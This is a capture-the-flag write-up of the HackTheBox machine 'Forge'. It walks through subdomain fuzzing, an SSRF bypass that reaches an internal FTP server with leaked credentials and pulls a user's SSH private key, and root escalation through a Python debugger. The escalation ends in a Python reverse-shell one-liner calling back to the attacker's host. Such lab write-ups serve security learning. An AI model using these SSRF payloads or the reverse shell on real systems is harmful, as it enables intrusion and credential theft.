HackTheBox - Forge writeup

6 minute read

Forge on hackTheBox

Summary

Foothold: Subdomains

User: SSRF + ftp creds

Privesc: sudo + python script + python debugger

Enumeration

Starting with nmap to determine what ports are open and what services are running. Full command and result of scanning:

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ sudo nmap -T4 -p- -A -oN Enumeration/nmap.txt 10.10.11.111
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On port 80 we have a web page. Add to /etc/hosts ip address as forge.htb. After visiting the site, we can see there is upload functionality. Users can upload local files from their machine or can upload via URL.

Attempts to reproduce the LFI/RFI vulnerability were unsuccessful. So let’s try to enumerate further.

Using FFUF we can determine existing subdomains:

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/shubs-subdomains.txt -u http://forge.htb/ -H "Host: FUZZ.forge.htb" -t 100 -fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://forge.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/shubs-subdomains.txt
 :: Header           : Host: FUZZ.forge.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 18
________________________________________________

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]

We can’t directly connect to admin.forge.htb, as it is only accessible via localhost.

Let’s try to access the subdomain via the original site forge.htb with Upload from url functionality. To bypass restrictions we can enter the subdomain in the upper case:

Some data successfully is written into file that we can access via URL below

After retrieving this page we can see the content of admin.forge.htb which is the Admin portal

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/Rj8PdReLecMz1bK4pNbQ
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

This proves that forge.htb is vulnerable to SSRF, which is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests.

User

In content of admin.forge.htb we can mention /announcement directory. Access it with our SSRF. Again it was uploaded as a page in uploads directory. Let’s curl it:

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/eJEclDnoYosJ1XB7lkDM
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

From this announcement now we know credentials for FTP user:heightofsecurity123! and that it is accessible from endpoint upload.

Let’s look at the content of the FTP server. To access use syntax as ftp://<user>:<password>@<hostname>. In our case we will use this way:

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB

Again, we will retrieve result with curl:

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/eZl5SlIsS86eokAMGmSP
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Sep 17 08:02 user.txt

It looks like we are in user’s home directory, where usually we have ssh keys stored. Let’s try to retrieve it via FTP by appending the path to the previous command:

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa

We will store the result in id_rsa file and look at its content with cat command.

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/ySur4tz5YrxwgsT78onq > id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2590  100  2590    0     0  11666      0 --:--:-- --:--:-- --:--:-- 11666

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ cat id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
……….
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

And now we can try to login via ssh to user’s shell:

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ ssh -i id_rsa user@forge.htb                                                                                                                                                                                                        
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 17 Sep 2021 11:03:05 AM UTC

  System load:           0.0
  Usage of /:            44.7% of 6.82GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             220
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.111
  IPv6 address for eth0: dead:beef::250:56ff:feb9:916f


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@forge:~$ ls -la
total 36
drwxr-xr-x 5 user user 4096 Aug  4 19:23 .
drwxr-xr-x 3 root root 4096 Aug  4 19:23 ..
lrwxrwxrwx 1 user user    9 May 19 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 user user  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 user user 3771 Feb 25  2020 .bashrc
drwx------ 2 user user 4096 Aug  4 19:23 .cache
-rw-r--r-- 1 user user  807 Feb 25  2020 .profile
drwxr-xr-x 3 user user 4096 Aug  4 19:23 snap
drwxrwxr-x 2 user user 4096 Aug  4 19:23 .ssh
-rw-r----- 1 root user   33 Sep 17 08:02 user.txt
user@forge:~$ cat user.txt 
[redacted]
user@forge:~$

Root

During post-enumeration, we determine that the current user can run with sudo some python script.

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

We cannot edit this script but we can read its content:

user@forge:~$ ls -la /opt/remote-manage.py
-rwxr-xr-x 1 root root 1447 May 31 12:09 /opt/remote-manage.py
user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

Line import pdb caught our attention. The module pdb defines an interactive source code debugger for Python programs. During the execution of the script, we can cause an error, which will call out the debugger.

To do this we need two terminals. In the first one, we will run the script. In second, we will connect to the port, opened by script, and interact with the program to cause exception.

Run script

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:63767

Connect and enter unsupported data

user@forge:~$ nc -nv 127.0.0.1 63767
Connection to 127.0.0.1 63767 port [tcp/*] succeeded!
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
sadjjaljdlkjaskld

In first shell, debugger is active and we can enter python reverse shell to execute

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:63767
invalid literal for int() with base 10: b'sadjjaljdlkjaskld'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

Receive root shell

┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.111 55830
1
2
root@forge:/home/user# cd ~
cd ~
root@forge:~# id 
id 
uid=0(root) gid=0(root) groups=0(root)
root@forge:~# hostname
hostname
forge                                                                                                                                                                                                                                        
root@forge:~# ls -l                                                                                                                                                                                                                          
ls -l                                                                                                                                                                                                                                        
total 12                                                                                                                                                                                                                                     
-rwxr-xr-x 1 root root   46 May 28 07:22 clean-uploads.sh                                                                                                                                                                                    
-rw------- 1 root root   33 Sep 17 08:02 root.txt                                                                                                                                                                                            
drwxr-xr-x 3 root root 4096 May 19 14:21 snap                                                                                                                                                                                                
root@forge:~# cat root.txt                                                                                                                                                                                                                   
cat root.txt                                                                                                                                                                                                                                 
[redacted]                                                                                                                                                                                                             
root@forge:~#

Rooted

That’s it for this machine. Stay safe and Happy Hacking!